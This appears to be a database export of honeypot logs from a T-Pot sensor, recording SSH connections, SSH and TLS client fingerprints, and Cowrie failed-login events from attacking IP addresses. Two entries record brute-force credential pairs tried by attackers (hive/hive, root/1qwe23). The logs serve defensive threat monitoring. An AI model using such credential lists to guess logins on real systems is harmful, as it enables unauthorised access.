26240	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:38.10008+03	2021-09-20 14:15:13.013645+03	{"_id": "hwbnAnwBvYTbRNuEgB8L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41424, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.100080", "@timestamp": "2021-09-20T11:11:38.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26241	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:38.774703+03	2021-09-20 14:15:13.014646+03	{"_id": "owbnAnwBvYTbRNuEgh_S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1710723800063561, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57978, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.774703Z", "@timestamp": "2021-09-20T11:11:38.774Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26242	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:38.976198+03	2021-09-20 14:15:13.016646+03	{"_id": "pgbnAnwBvYTbRNuEgx_0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45200, "timestamp": "2021-09-20T11:11:38.976198", "@timestamp": "2021-09-20T11:11:38.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26243	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:39.165317+03	2021-09-20 14:15:13.017645+03	{"_id": "pwbnAnwBvYTbRNuEgx_0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41270, "timestamp": "2021-09-20T11:11:39.165317", "@timestamp": "2021-09-20T11:11:39.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26244	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:39.673298+03	2021-09-20 14:15:13.019646+03	{"_id": "xwbnAnwBvYTbRNuEiB96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [hive/hive] failed", "session": "78ce23a5e910", "@version": "1", "password": "hive", "username": "hive", "timestamp": "2021-09-20T11:11:39.673298Z", "@timestamp": "2021-09-20T11:11:39.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26245	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:40.507957+03	2021-09-20 14:15:13.020646+03	{"_id": "xAbnAnwBvYTbRNuEiB96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49034 (192.168.176.2:22) [session: 84cfb61ab228]", "session": "84cfb61ab228", "@version": "1", "protocol": "ssh", "src_port": 49034, "dest_port": 22, "timestamp": "2021-09-20T11:11:40.507957Z", "@timestamp": "2021-09-20T11:11:40.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26246	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:11:41.545093+03	2021-09-20 14:15:13.021646+03	{"_id": "3AbnAnwBvYTbRNuEjh-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 202533149282580, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58497, "dest_port": 22, "timestamp": "2021-09-20T11:11:41.545093Z", "@timestamp": "2021-09-20T11:11:41.545Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26247	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:41.975375+03	2021-09-20 14:15:13.022644+03	{"_id": "3QbnAnwBvYTbRNuEjx-v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42682, "timestamp": "2021-09-20T11:11:41.975375", "@timestamp": "2021-09-20T11:11:41.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26248	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:11:43.031324+03	2021-09-20 14:15:13.024647+03	{"_id": "9QbnAnwBvYTbRNuEkx-Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42682, "dest_port": 22, "timestamp": "2021-09-20T11:11:43.031324", "@timestamp": "2021-09-20T11:11:43.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26249	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:11:42.926462+03	2021-09-20 14:15:13.025646+03	{"_id": "9gbnAnwBvYTbRNuElB80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qwe23] failed", "session": "ba9d8547508f", "@version": "1", "password": "1qwe23", "username": "root", "timestamp": "2021-09-20T11:11:42.926462Z", "@timestamp": "2021-09-20T11:11:42.926Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26250	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:44.987575+03	2021-09-20 14:15:13.026646+03	{"_id": "FwbnAnwBvYTbRNuEmiBG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 260358441840109, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59938, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.987575Z", "@timestamp": "2021-09-20T11:11:44.987Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26251	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:44.717193+03	2021-09-20 14:15:13.028645+03	{"_id": "GAbnAnwBvYTbRNuEmyBr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59938, "timestamp": "2021-09-20T11:11:44.717193", "@timestamp": "2021-09-20T11:11:44.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26252	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:20.451125+03	2021-09-20 14:15:13.029645+03	{"_id": "kgbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34886, "dest_port": 443, "timestamp": "2021-09-20T11:11:20.451125", "@timestamp": "2021-09-20T11:11:20.451Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
